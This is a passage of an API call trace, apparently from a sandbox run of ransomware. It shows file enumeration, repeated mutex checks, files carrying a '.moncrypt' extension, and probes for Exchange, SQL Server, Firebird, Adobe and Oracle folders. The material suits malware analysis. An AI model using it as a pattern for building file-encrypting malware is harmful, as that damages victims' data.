FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.474] GlobalLock (hMem=0x440004) returned 0x551178 [0045.474] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.474] GlobalUnlock (hMem=0x440004) returned 0 [0045.474] GlobalLock (hMem=0x440004) returned 0x551178 [0045.474] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.474] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.474] GlobalUnlock (hMem=0x440004) returned 0 [0045.474] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.474] GlobalUnlock (hMem=0x44000c) returned 0 [0045.474] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.474] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x835, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM.moncrypt", cAlternateFileName="MSCGM~1.MON")) returned 1 [0045.474] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.474] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.474] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.474] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.474] GlobalUnlock (hMem=0x44000c) returned 0 [0045.474] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.474] GlobalLock (hMem=0x440004) returned 0x553188 [0045.474] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.474] GlobalUnlock (hMem=0x44000c) returned 0 [0045.474] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.474] GlobalUnlock (hMem=0x440004) returned 0 [0045.474] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.474] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3b95, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS.moncrypt", cAlternateFileName="MSEPS~1.MON")) returned 1 [0045.475] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.475] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.475] GlobalLock (hMem=0x440004) returned 0x551178 [0045.475] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.475] GlobalUnlock (hMem=0x440004) returned 0 [0045.475] GlobalLock (hMem=0x440004) returned 0x551178 [0045.475] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.475] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.475] GlobalUnlock (hMem=0x440004) returned 0 [0045.475] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.475] GlobalUnlock (hMem=0x44000c) returned 0 [0045.475] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.475] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0045.475] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.475] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.475] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.475] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.475] GlobalUnlock (hMem=0x44000c) returned 0 [0045.475] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.475] GlobalLock (hMem=0x440004) returned 0x553188 [0045.475] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.475] GlobalUnlock (hMem=0x44000c) returned 0 [0045.475] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.475] GlobalUnlock (hMem=0x440004) returned 0 [0045.475] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.475] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG.moncrypt", cAlternateFileName="MSJPG~1.MON")) returned 1 [0045.475] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.475] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.475] GlobalLock (hMem=0x440004) returned 0x551178 [0045.475] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.476] GlobalUnlock (hMem=0x440004) returned 0 [0045.476] GlobalLock (hMem=0x440004) returned 0x551178 [0045.476] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.476] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.476] GlobalUnlock (hMem=0x440004) returned 0 [0045.476] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.476] GlobalUnlock (hMem=0x44000c) returned 0 [0045.476] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.476] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x755, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG.moncrypt", cAlternateFileName="MSPNG~1.MON")) returned 1 [0045.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.476] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.476] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.476] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.476] GlobalUnlock (hMem=0x44000c) returned 0 [0045.476] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.476] GlobalLock (hMem=0x440004) returned 0x553188 [0045.476] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.476] GlobalUnlock (hMem=0x44000c) returned 0 [0045.476] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.476] GlobalUnlock (hMem=0x440004) returned 0 [0045.476] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.476] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x625, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG.moncrypt", cAlternateFileName="MSWPG~1.MON")) returned 1 [0045.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.476] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.476] GlobalLock (hMem=0x440004) returned 0x551178 [0045.476] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.476] GlobalUnlock (hMem=0x440004) returned 0 [0045.476] GlobalLock (hMem=0x440004) returned 0x551178 [0045.476] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.477] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.477] GlobalUnlock (hMem=0x440004) returned 0 [0045.477] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.477] GlobalUnlock (hMem=0x44000c) returned 0 [0045.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.477] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11e3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT.moncrypt", cAlternateFileName="PICTIM~1.MON")) returned 1 [0045.477] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.477] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.477] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.477] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.477] GlobalUnlock (hMem=0x44000c) returned 0 [0045.477] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.477] GlobalLock (hMem=0x440004) returned 0x553188 [0045.477] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.477] GlobalUnlock (hMem=0x44000c) returned 0 [0045.477] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.477] GlobalUnlock (hMem=0x440004) returned 0 [0045.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.477] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4a045, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT.moncrypt", cAlternateFileName="PNG32F~1.MON")) returned 1 [0045.477] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.477] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.477] GlobalLock (hMem=0x440004) returned 0x551178 [0045.477] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.477] GlobalUnlock (hMem=0x440004) returned 0 [0045.477] GlobalLock (hMem=0x440004) returned 0x551178 [0045.477] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.477] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.477] GlobalUnlock (hMem=0x440004) returned 0 [0045.477] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.477] GlobalUnlock (hMem=0x44000c) returned 0 [0045.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.478] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44845, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT.moncrypt", cAlternateFileName="WPGIMP~1.MON")) returned 1 [0045.478] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.478] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.478] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.478] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.478] GlobalUnlock (hMem=0x44000c) returned 0 [0045.478] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.478] GlobalLock (hMem=0x440004) returned 0x553188 [0045.478] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.478] GlobalUnlock (hMem=0x44000c) returned 0 [0045.478] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.478] GlobalUnlock (hMem=0x440004) returned 0 [0045.478] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.478] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44845, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT.moncrypt", cAlternateFileName="WPGIMP~1.MON")) returned 0 [0045.478] GetLastError () returned 0x12 [0045.478] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0045.478] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0045.478] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0045.478] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0045.478] GlobalLock (hMem=0x440004) returned 0x550170 [0045.478] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.478] GlobalUnlock (hMem=0x440004) returned 0 [0045.479] GlobalLock (hMem=0x440004) returned 0x550170 [0045.479] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.479] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.479] GlobalUnlock (hMem=0x440004) returned 0 [0045.479] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.479] GlobalUnlock (hMem=0x44000c) returned 0 [0045.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.479] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.479] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.479] GlobalUnlock (hMem=0x44000c) returned 0 [0045.479] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.479] GlobalLock (hMem=0x440004) returned 0x552180 [0045.479] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.479] GlobalUnlock (hMem=0x44000c) returned 0 [0045.479] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.479] GlobalUnlock (hMem=0x440004) returned 0 [0045.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.479] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help", len=0x33 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned 1 [0045.479] GlobalLock (hMem=0x440004) returned 0x550170 [0045.479] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.479] GlobalUnlock (hMem=0x440004) returned 0 [0045.479] GlobalLock (hMem=0x440004) returned 0x550170 [0045.479] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.479] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.479] GlobalUnlock (hMem=0x440004) returned 0 [0045.479] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.479] GlobalUnlock (hMem=0x44000c) returned 0 [0045.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\ition\\") returned 26 [0045.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볨R벼R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0045.579] GetLastError () returned 0x3 [0045.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0045.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뱔R企@\x18㿬Q\x181")) returned 0xffffffff [0045.580] GetLastError () returned 0x2 [0045.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0045.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@儔R企@\x18?T\x18;")) returned 0xffffffff [0045.581] GetLastError () returned 0x2 [0045.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0045.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0045.582] GetLastError () returned 0x2 [0045.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0045.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뱔R企@\x18儔R\x18j")) returned 0xffffffff [0045.582] GetLastError () returned 0x2 [0045.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0045.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0045.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@℔R企@\x18?T\x18q")) returned 0xffffffff [0045.583] GetLastError () returned 0x2 [0045.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\儐RP") returned 6 [0045.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0045.583] FindFirstFileW (in: lpFileName="C:\\Program 